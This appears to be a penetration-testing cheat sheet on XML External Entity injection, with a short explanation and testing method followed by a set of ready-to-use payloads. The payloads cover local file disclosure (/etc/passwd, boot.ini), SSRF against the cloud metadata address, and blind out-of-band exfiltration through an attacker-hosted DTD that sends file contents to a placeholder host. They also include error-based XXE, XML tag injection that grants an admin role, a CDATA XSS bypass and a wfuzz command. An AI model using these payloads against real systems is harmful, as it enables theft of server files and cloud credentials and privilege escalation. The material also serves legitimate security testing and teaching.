xxe

XML External Entity (XXE) Injection

What Is Broken and Why

XXE vulnerabilities arise when XML input containing a DOCTYPE declaration with external entity references is processed by a parser that has external entity resolution enabled. The parser fetches the referenced resource (a local file, remote URL, or network service) and substitutes it into the document, which the application may then reflect in a response or process further. Beyond data disclosure, XXE enables SSRF and, via parameter entities, blind out-of-band exfiltration. The root cause is misconfigured or default-insecure XML parser settings.

Key Signals

• Application accepts XML input (SOAP endpoints, REST APIs with Content-Type: application/xml, file uploads of .xml/.docx/.xlsx/.svg)
• Requests containing <?xml declarations
• Error messages referencing XML parsing libraries or DTD processing
• Java APIs in stack traces: DocumentBuilder, SAXParser, XMLInputFactory, TransformerFactory
• Application processing SVG, RSS/Atom feeds, or office document formats (DOCX, XLSX use XML internally)
• Response includes content from server filesystem or internal network resources

Methodology

1. Identify XML input vectors: direct XML body, XML-based file uploads, XML wrapped in SOAP.
2. Submit minimal XML and confirm it is parsed (look for reflected values or processing differences).
3. Inject a DOCTYPE with an internal entity first to confirm entity processing is enabled.
4. Escalate to external file entity to test file disclosure.
5. Test SSRF via HTTP entity pointing to OOB callback server.
6. If output is not reflected (blind XXE), use out-of-band via parameter entities and external DTD.
7. Test for error-based XXE if OOB is blocked.
8. Test XML injection vectors (tag injection, CDATA bypass) if DOCTYPE is stripped.

Payloads & Tools

<!-- Step 1: Confirm entity processing (internal entity) -->
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe "xxe-test">]>
<root>&xxe;</root>

<!-- Step 2: File disclosure (Linux) -->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

<!-- File disclosure (Windows) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/boot.ini">]>
<foo>&xxe;</foo>

<!-- SSRF via HTTP entity -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<foo>&xxe;</foo>

<!-- OOB blind XXE (data exfiltration via DNS/HTTP) -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://VICTIM/malicious.dtd">
  %xxe;
]>
<foo/>

<!-- malicious.dtd hosted on attacker server: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send "<!ENTITY exfil SYSTEM 'http://VICTIM/?data=%file;'>">
%send;

<!-- Error-based XXE -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>

<!-- XML tag injection / privilege escalation -->
<!-- Email field: inject closing tag + new element -->
[email protected]</mail><role>admin</role><mail>[email protected]

<!-- CDATA XSS bypass -->
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

<!-- wfuzz XML injection fuzzing -->
wfuzz -c -z file,xml-fuzz.txt --hc 200 TARGET/api/xml-endpoint